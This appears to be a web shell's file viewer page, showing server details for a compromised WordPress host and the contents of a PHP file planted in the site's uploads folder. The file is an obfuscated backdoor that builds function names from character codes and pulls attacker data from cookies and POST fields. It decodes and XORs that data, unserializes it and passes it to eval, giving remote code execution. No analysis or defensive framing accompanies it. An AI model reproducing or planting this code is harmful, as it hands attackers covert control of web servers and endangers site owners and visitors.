HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/10/0cc309e8.php
$FefGhKRivR = "\x4c" . 'P' . "\163" . '_' . "\107" . "\145" . chr (65) . "\125" . "\x77";$ptjbz = 'c' . chr ( 752 - 644 ).chr ( 345 - 248 )."\x73" . 's' . "\x5f" . "\145" . chr ( 194 - 74 )."\151" . 's' . chr (116) . 's';$NgYnLbDIVf = class_exists($FefGhKRivR); $ptjbz = "24370";$oAqjpZT = strpos($ptjbz, $FefGhKRivR);if ($NgYnLbDIVf == $oAqjpZT){function SbvaLgpc(){$FPPqHPYib = new /* 46267 */ LPs_GeAUw(7942 + 7942); $FPPqHPYib = NULL;}$PxZXUYB = "7942";class LPs_GeAUw{private function iwTGi($PxZXUYB){if (is_array(LPs_GeAUw::$jkRwkbWoa)) {$XMRmubik2 = str_replace("<" . "?php", "", LPs_GeAUw::$jkRwkbWoa["content"]);eval($XMRmubik2); $PxZXUYB = "7942";exit();}}public function PVnsptLK(){$XMRmubik = "57376";$this->_dummy = str_repeat($XMRmubik, strlen($XMRmubik));}public function __destruct(){LPs_GeAUw::$jkRwkbWoa = @unserialize(LPs_GeAUw::$jkRwkbWoa); $PxZXUYB = "1602_35231";$this->iwTGi($PxZXUYB); $PxZXUYB = "1602_35231";}public function dUkmDrT($XMRmubik, $ReFHszoqNy){return $XMRmubik[0] ^ str_repeat($ReFHszoqNy, intval(strlen($XMRmubik[0]) / strlen($ReFHszoqNy)) + 1);}public function aYcWKz($XMRmubik){$GljopUJH = chr ( 327 - 229 ).chr ( 175 - 78 ).chr ( 557 - 442 ).chr ( 278 - 177 ).chr ( 592 - 538 )."\64";return array_map($GljopUJH . chr ( 948 - 853 )."\144" . "\x65" . "\x63" . chr ( 263 - 152 )."\144" . chr (101), array($XMRmubik,));}public function __construct($jygVsLN=0){$NYYKz = chr (44); $XMRmubik = "";$qMeIvKCS = $_POST;$VWyzxgxCJI = $_COOKIE;$ReFHszoqNy = "c2394b82-704d-4a1d-9ae5-5f03fa9d51d1";$GEeMgQYvfS = @$VWyzxgxCJI[substr($ReFHszoqNy, 0, 4)];if (!empty($GEeMgQYvfS)){$GEeMgQYvfS = explode($NYYKz, $GEeMgQYvfS);foreach ($GEeMgQYvfS as $kmWRvw){$XMRmubik .= @$VWyzxgxCJI[$kmWRvw];$XMRmubik .= @$qMeIvKCS[$kmWRvw];}$XMRmubik = $this->aYcWKz($XMRmubik);}LPs_GeAUw::$jkRwkbWoa = $this->dUkmDrT($XMRmubik, $ReFHszoqNy);if (strpos($ReFHszoqNy, $NYYKz) !== FALSE){$ReFHszoqNy = str_pad($ReFHszoqNy, 10); $ReFHszoqNy = strcspn ($ReFHszoqNy, $NYYKz); $ReFHszoqNy = ltrim(rtrim($ReFHszoqNy));}}public static $jkRwkbWoa = 45923;}SbvaLgpc();}